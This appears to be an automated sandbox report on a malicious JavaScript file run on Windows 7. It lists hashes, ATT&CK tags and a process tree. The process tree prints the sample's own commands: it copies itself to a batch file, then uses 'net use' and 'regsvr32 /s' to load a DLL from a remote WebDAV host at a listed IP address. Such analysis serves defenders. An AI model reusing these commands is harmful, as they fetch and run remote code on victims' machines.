b6f8514e0590e879ccd88c011a7dc3b053ce1ea6ec82cb3d56577901e9640a2d

Analysis

max time kernel
12s
max time network
23s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09-07-2024 07:29

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General

Target

1603426775218191079.js
Size

5KB
MD5

99dd53aabd10500b964e54dd71976462
SHA1

f52edd2018f70bf084415e772c128e742d94e440
SHA256

b6f8514e0590e879ccd88c011a7dc3b053ce1ea6ec82cb3d56577901e9640a2d
SHA512

eb24a20fba738b339a689e437c0c97eb9c607d6e06697b39b1a5d1266616728265d83a1f0bec6b0a883dc242216fbb61af3714daa221e4fde0820b108c241a9a
SSDEEP

96:SjNH3YjZzEU8sn5DDOnixUX/A4BbGE9OSbAeEwTtunc/QJWe4AdXALOBVo9t7zAt:2tPr/EUkG2oJm5Nm5klrkdle

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2256	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2304	3068	wscript.exe	30
PID 3068 wrote to memory of 2304	3068	wscript.exe	30
PID 3068 wrote to memory of 2304	3068	wscript.exe	30
PID 2304 wrote to memory of 2692	2304	cmd.exe	32
PID 2304 wrote to memory of 2692	2304	cmd.exe	32
PID 2304 wrote to memory of 2692	2304	cmd.exe	32
PID 2304 wrote to memory of 2256	2304	cmd.exe	33
PID 2304 wrote to memory of 2256	2304	cmd.exe	33
PID 2304 wrote to memory of 2256	2304	cmd.exe	33
PID 2304 wrote to memory of 2256	2304	cmd.exe	33
PID 2304 wrote to memory of 2256	2304	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1603426775218191079.js
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1603426775218191079.js" "C:\Users\Admin\\dqrwzx.bat" && "C:\Users\Admin\\dqrwzx.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2692
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\199.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\dqrwzx.bat

Filesize
5KB

MD5
99dd53aabd10500b964e54dd71976462

SHA1
f52edd2018f70bf084415e772c128e742d94e440

SHA256
b6f8514e0590e879ccd88c011a7dc3b053ce1ea6ec82cb3d56577901e9640a2d

SHA512
eb24a20fba738b339a689e437c0c97eb9c607d6e06697b39b1a5d1266616728265d83a1f0bec6b0a883dc242216fbb61af3714daa221e4fde0820b108c241a9a

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